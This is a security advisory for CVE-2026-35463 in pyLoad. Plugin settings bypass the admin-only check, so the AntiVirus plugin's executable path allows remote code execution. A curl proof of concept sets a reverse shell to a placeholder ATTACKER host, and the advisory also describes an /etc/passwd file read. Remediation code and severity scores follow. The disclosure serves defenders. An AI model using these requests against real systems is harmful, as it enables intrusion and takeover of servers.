Advisory details:
github_osv / GHSA-w48f-wwwf-f5fr
| Advisory ID | github_osv/GHSA-w48f-wwwf-f5fr |
| Aliases |
CVE-2026-35463
|
| Summary | pyLoad: Improper Neutralization of Special Elements used in an OS Command ### Summary The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution. ### Details **Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):** ```python ADMIN_ONLY_OPTIONS = { "reconnect.script", # Blocks script path change "webui.host", # Blocks bind address change "ssl.cert_file", # Blocks cert path change "ssl.key_file", # Blocks key path change # ... other sensitive options } ``` **Where it IS enforced — core config (core/api/__init__.py:255):** ```python def set_config_value(self, section, option, value): if f"{section}.{option}" in ADMIN_ONLY_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") # ... ``` **Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):** ```python # Plugin config - NO admin check at all self.pyload.config.set_plugin(category, option, value) ``` **Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):** ```python def scan_file(self, file): avfile = self.config.get("avfile") # User-controlled via plugin config avargs = self.config.get("avargs") subprocess.Popen([avfile, avargs, target]) # RCE ``` ### PoC ```bash # As non-admin user with SETTINGS permission: # 1. Set AntiVirus executable to a reverse shell curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avfile' \ -d 'value=/bin/bash' curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avargs' \ -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' # 2. Enable the AntiVirus plugin curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.activated' \ -d 'value=True' # 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload curl -b session_cookie -X POST http://TARGET:8000/api/add_package \ -d 'name=test' \ -d 'links=http://example.com/test.zip' # Result: reverse shell as the pyload process user ``` ### Additional Finding: Arbitrary File Read via storage_folder The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions. ### Impact - **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config - **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access - **Arbitrary file read** — Via storage_folder manipulation ### Remediation Apply `ADMIN_ONLY_OPTIONS` to plugin config as well: ```python # In set_config_value(): ADMIN_ONLY_PLUGIN_OPTIONS = { "AntiVirus.avfile", "AntiVirus.avargs", # ... any plugin option that controls executables or paths } if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") ``` Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w48f-wwwf-f5fr/GHSA-w48f-wwwf-f5fr.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-08T14:45:57Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/35xxx/CVE-2026-35463.json
Source Advisory: vulnrichment/CVE-2026-35463
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]